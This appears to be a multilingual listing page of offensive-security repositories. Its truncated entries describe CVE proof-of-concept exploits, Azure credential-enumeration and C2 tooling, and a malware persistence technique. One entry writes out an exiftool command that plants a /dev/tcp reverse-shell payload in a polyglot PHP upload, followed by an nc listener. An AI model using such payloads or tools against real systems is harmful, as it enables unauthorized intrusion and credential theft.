CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Esecuzione remota di codice autenticata in Pluck CMS precedente alla versione 4.7.13. Il file manager dell'amministratore admin.php?action=files non convalida le estensioni dei file, consentendo il caricamento di file .phar che Apache esegue come PHP. Il caricamento di...

azbelt

azbelt Standalone-DLL- und Sliver-Erweiterung zum Aufzählen von Azure-bezogenen Anmeldeinformationen, hauptsächlich auf AAD-beigetretenen Rechnern Module aadjoin - Ermittelt Informationen über den AAD-Status des Rechners über NetGetAadJoinInformation credman - Ruft Anmeldeinformationen aus dem...

windbg_js_scripts

Script JavaScript per WinDbg Installa come galleria di WinDbg Clona il repository root@kitploit: git clone https://github.com/hugsy/windbgjsscripts In windbgjsscripts\config.xml, modifica le righe Setting Name="LocalCacheRootFolder" per riflettere il percorso locale del repository. In WinDbg,...

C2Bridge

C2Bridges ermöglichen es Entwicklern, neue benutzerdefinierte Kommunikationsprotokolle zu erstellen und diese schnell in Covenant zu nutzen. C2Bridges C2Bridges werden verwendet, um ein ausgehendes Command-and-Control-Protokoll zu entwickeln, ohne Covenant-Code zu bearbeiten. Für Entwickler, die...

CVE-2024-9264

CVE-2024-9264-RCE-Exploit in Grafana tramite SQL Expressions Descrizione Prova di concetto per l'esecuzione remota di codice in Grafana CVE-2024-9264 Questo repository contiene uno script Python che sfrutta una vulnerabilità di esecuzione remota di codice RCE nella funzionalità SQL Expressions di...

CVE-2022-31630---Proof-of-Concept-Exploit-untuk-PHP-7.4.33

CVE-2022-31630 - Proof-of-Concept-Exploit für PHP 7.4.33 Warnung: Dieser Code wurde ausschließlich zu Bildungszwecken und für Tests in einer isolierten Laborumgebung erstellt. Die Verwendung auf anderen Systemen ohne Genehmigung ist illegal und unverantwortlich. 📋 Beschreibung CVE-2022-31630 ist...

cirro-azcli-ext

cirro-azcli-ext Un'estensione dell'Azure CLI che raccoglie passivamente i dati delle risorse Azure in un database SQLite compatibile con lo schema di Cirro https://github.com/bishopfox/cirro. Registra inoltre tutte le invocazioni CLI in un file JSON-lines. Si aggancia agli eventi di knack:...

Blind-XSS-Manager

Blind-XSS-Manager Non dimenticare mai dove inietti. Descrizione Un'estensione Chrome che tiene traccia dell'URL iniettato con payload XSS ciechi. Aggiunge un valore univoco per ogni payload assegnato all'URL e registrato dall'estensione quando viene copiato. I payload sono quasi gli stessi di...

vscode-frida

Frida Workbench für VSCode Repository | Probleme | Installieren Dies ist ein von der Community beigetragenes Projekt und steht in keiner Verbindung zum offiziellen Frida-Team. Es wird von @CodeColorist als Open-Source-Erweiterung für Visual Studio Code entwickelt und gepflegt, um die...

ExtensionHijack

ExtensionHijacker Eine mögliche Methode zur Persistenz von Malware. Übernahme von Erweiterungen, die für den aktuellen Benutzer registriert sind. Weitere Informationen hier proxyapp – eine Proxy-Anwendung, die zur Verarbeitung übernommener Erweiterungen verwendet wird hijackerapp – installiert di...

SUIDGuard

SUIDGuard - Un'estensione del kernel che aggiunge mitigazioni a OS X per rendere più difficile lo sfruttamento Copyright c Stefan Esser / SektionEins GmbH, 2015. Tutti i diritti riservati. [email protected] - https://www.sektioneins.de/ SITO WEB UFFICIALE Se sei arrivato qui da un articolo d...

GraphQLGrapper

Un'estensione per raccogliere funzioni GraphQL dalla cronologia delle richieste di Burpsuite Come usare Avrai bisogno del jar standalone di Jython 1. Vai alla scheda Extensions 2. Clicca su Add 3. Scegli GraphQLGrapper.py 4. Ora puoi usarlo facendo clic con il tasto destro sul target e scegliendo...

CVE-2024-39929

Exim CVE-2024-39929 Exploit PoC Dieses Repository enthält ein Proof-of-Concept PoC-Skript zur Ausnutzung der Exim-Sicherheitslücke CVE-2024-39929. Die Schwachstelle betrifft Exim-Versionen vor 4.98 und ermöglicht es Angreifern, Mechanismen zur Blockierung von Dateierweiterungen zu umgehen und...

webuploader-0.1.15-Demo

webuploader-v-0.1.15-Komponente weist eine Datei-Upload-Schwachstelle auf ohne Autorisierung Einführung: Die Baidu-WebUploader-Komponente weist eine Datei-Upload-Schwachstelle auf. Diese Schwachstelle entsteht dadurch, dass die Upload-Seite der WebUploader-Komponente Dateitypen oder...

CVE-2023-24610

CVE-2023-24610 Questa è una prova di concetto per CVE-2023-24610 Iniziamo creando un file poliglotta usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamo il file in png in modo che superi il controllo del front-end Dopo di che, avviamo un listener nc...

CVE-CVSS--CVE-2024-38063-IPv6-TCP-IP-Remote-Code-Execution-Analysis

🔐 CVE-2024-38063 — Analyse der IPv6 TCP/IP Remote Code Execution 📌 Projektbeschreibung Dieses Projekt präsentiert eine technische Analyse und praktische Demonstration der kritischen Sicherheitslücke CVE-2024-38063 , die von Microsoft während des Patch Tuesday 13. August 2024 veröffentlicht wurde...

CVE-2026-65761

CVE-2026-65761 - Proof-of-concept di SQL injection su EasyStore Pro tramite filtersortby Questo repository fornisce una prova di concetto educativa per CVE-2026-65761, una vulnerabilità di SQL injection non autenticata che interessa le versioni da 1.0.0 a 2.0.2 incluse dell'estensione Joomla...

osquery_cve-2024-23443

Machbarkeitsnachweis POC CVE-2024-23443 hpbiososquery Fügen Sie die osqery-Erweiterung HP BIOS WMI zum Elastic Agent hinzu Abhängigkeiten pip install pywin32 pip install osquery pip install pyinstaller Erstellen root@kitploit: pyinstaller --onefile hpbiosenumeration.py Installation 1. Kopieren Si...

CVE-2015-10141

CVE-2015-10141 root@kitploit: Exploit Title: xdebug Unauthenticated Command Execution Exploit Author: D3Ext Vendor Homepage: https://xdebug.org/ Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows Version: 2.5.5 Tested on: Kali Linux 2025 CVE: CVE-2015-10141 Explicação Existe uma...

SqlMap_BurpSuite

SqlMapBurpSuite sqlmap.jar compilado https://github.com/jas502n/SqlMapBurpSuite/blob/master/burpsqlmap/out/artifacts/burpsqlmapjar/burpsqlmap.jar grep -r "send to Sqlmap" src/burp/SnifferContextMenuFactory.java: JMenuItem jMenuItem = new JMenuItem"send to Sqlmap"; JMenuItem jMenuItem = new...